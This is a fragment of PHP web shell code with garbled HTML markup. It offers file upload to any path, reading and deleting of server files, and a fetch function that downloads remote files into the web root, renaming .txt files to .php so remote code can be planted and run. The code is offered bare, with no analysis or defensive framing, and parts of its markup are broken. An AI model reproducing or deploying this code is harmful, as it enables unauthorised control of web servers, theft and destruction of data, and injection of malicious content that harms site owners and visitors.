if($pat == '' && $id == 0){
$a = true;
echo '[url=]/[/url]';
continue;
}
if($pat == '') continue;
echo '[url=]
for($i=0;$i'.$pat.'[/url]/';
}
echo '[/td][/tr][tr][td]';
if(isset($_FILES['uploadedfile'])){
$target_path=basename($_FILES["uploadedfile"]["name"]);if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"],$path.'/'.$target_path)){echo '
file uploaded
';}else{echo '
upload fail
';}
}
echo "[/td][/tr]";
function get($url, $dir) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_TIMEOUT,10);
$data = curl_exec($ch);
if(!$data){
$data = @file_get_contents($url);
}
file_put_contents($dir, $data);
}
if($_GET['url']){
$url = $_GET['url'];
preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
if($n[3]=='txt'){
$z='php';
$name=$n[2];
}else{
$z=$n[3];
$name="moban";
}
if($_GET['dir']){
$dir=$_SERVER["DOCUMENT_ROOT"].'/'.$_GET['dir'].'/'.$name.'.'.$z;
}else{
$dir=$_SERVER["DOCUMENT_ROOT"].'/'.$name.'.'.$z;
}
get($url,$dir);
if(file_exists($dir)){echo "[tr][td]
[color=]download success
[/td][/tr]";}else{echo "[tr][td]
[color=]download fail
[/td][/tr]";}
}elseif($_POST['url']){
$url = $_POST['url'];
preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
if($n[3]=='txt'){
$z='php';
$name=$n[2];
}else{
$z=$n[3];
$name="moban";
}
$dir = $_POST['path']."/".$name.'.'.$z;
get($url,$dir);
if(file_exists($dir)){echo "[tr][td]
[color=]download success
[/td][/tr]";}else{echo "[tr][td]
[color=]download fail
[/td][/tr]";}
}
echo "[tr][td]Url: [/td][/tr]";
if(isset($_GET['filesrc'])){
echo "[tr][td]Current File : ";
echo $_GET['filesrc'];
echo '[/tr][/td][/table]
';
echo(''.htmlspecialchars(file_get_contents($_GET['filesrc'])).'');
}elseif(isset($_GET['check']) && $_GET['check'] == '1'){
$RootDir = $_SERVER['DOCUMENT_ROOT'];
$filename = $RootDir.'/index.php';
echo "[tr][td]Current File : ";
echo $filename;
echo '[/tr][/td][/table]
';
echo(''.htmlspecialchars(file_get_contents($filename)).'');
}else{
echo '[/table]
';
if(isset($_GET['option']) && $_GET['option'] == 'delete'){
if(unlink($_GET['delfile'])){
echo '
Delete File Done.
';
}else{
echo '
Delete File Error.
';
}
}
echo '';
$scandir = scandir($path);
echo '
Name | Size | Options | |
[url=]$dir[/url] | DIR | none | |
[url=]$file[/url] | ".$size." | [url=]Delete[/url] |
}